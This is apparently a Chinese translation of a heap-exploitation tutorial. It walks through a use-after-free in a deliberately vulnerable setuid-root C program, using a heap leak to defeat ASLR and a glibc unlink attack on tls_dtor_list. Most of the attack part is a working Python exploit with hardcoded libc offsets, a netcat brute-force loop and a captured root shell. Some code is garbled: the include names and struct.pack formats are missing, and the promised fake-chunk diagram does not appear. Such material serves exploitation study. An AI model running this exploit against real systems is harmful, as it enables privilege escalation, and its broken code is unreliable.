什么是释放后可重用(UaF)?
继续使用已经释放的堆内存指针称为use-after-free bug !! 此错误可能导致任意代码执行。
#include
#include
#include
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:与之前的帖子不同,ASLR在此处打开。所以现在让我们利用一个UaF错误,并且自从ASLR打开后,让我们使用信息泄漏和强力技术绕过它。
以上易受攻击的代码在行[6]和[13]中包含两个use-after-free的错误。它们各自的堆存储器在行[5]和[10]中被释放,但它们的指针在行[6]和[13]中即使在释放之后也被使用了!行[6]的UaF导致信息泄漏,而行[13]的UaF导致任意代码执行。
什么是信息泄漏?攻击者如何利用它?
在我们易受攻击的代码中(在第[6]行),泄露的信息是堆地址。这个泄漏的堆地址将帮助攻击者轻松计算随机堆段的基地址,从而击败ASLR!
要了解堆地址是如何泄露的,让我们先了解易受攻击代码的前半部分。
读过的先决条件后,我们知道,块对应于"name"和"details"指针快速块,当这些快速块被释放,它们会存储在索引为零的快速箱。我们还知道每个快速箱包含一个空闲块的链表。因此,根据我们的示例,快速箱索引为零的单个链表如下所示:
main_arena.fastbinsY[0] --->'name_chunk_address'--->'details_chunk_address'---> NULL
由于这种单一链接,'name’的前四个字节包含’details_chunk’地址。因此,当’name’被打印时,首先打印’details chunk’地址。从堆布局我们知道’details chunk’位于距离堆基址的偏移量0x10处。因此从泄漏的堆地址中减去0x10,给我们堆基址!
如何实现任意代码执行?
现在已经获得了随机堆段的基地址,让我们看看如何通过理解易受攻击代码的后半部分来实现任意代码执行。
在阅读了先决条件后,我们知道当’p2’被释放到glibc malloc时,它会被整合到顶部块中。稍后当为’p2_1’请求内存时,它从顶部块分配 - 'p2’和’p2_1’包含相同的堆地址。此外,当为’p2_2’请求内存时,它从顶部块分配 - 'p2_2’与’p2’相距512字节。因此,当在行[13]中空闲后使用’p2’指针时,攻击者控制的数据(最大1019字节)被复制到p2_1,其大小仅为512字节,因此剩余的攻击者数据将覆盖下一个块“p2_2”,允许攻击者覆盖下一个块头的大小字段!!
正如在这个先决条件中所看到的,如果攻击者能够成功覆盖下一个块大小字段的LSB,即使它处于已分配状态,他也可以欺骗glibc malloc取消链接块“p2_1”。同样在同一篇文章中,我们看到,当攻击者精心制作假块头时,取消链接处于已分配状态的大块可导致任意代码执行!攻击者构造假块头,如下所示:
有了所有这些信息,让我们编写一个漏洞程序来攻击易受攻击的二进制文件’vuln’!!
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack(", num)
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack(", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
因为在暴力技术中我们需要多次尝试(直到我们成功)让我们将易受攻击的二进制“vuln”作为网络服务器运行并使用shell脚本让我们确保它在崩溃时自动重启!
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
执行上面的漏洞代码给我们root shell !! 答对了!!
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$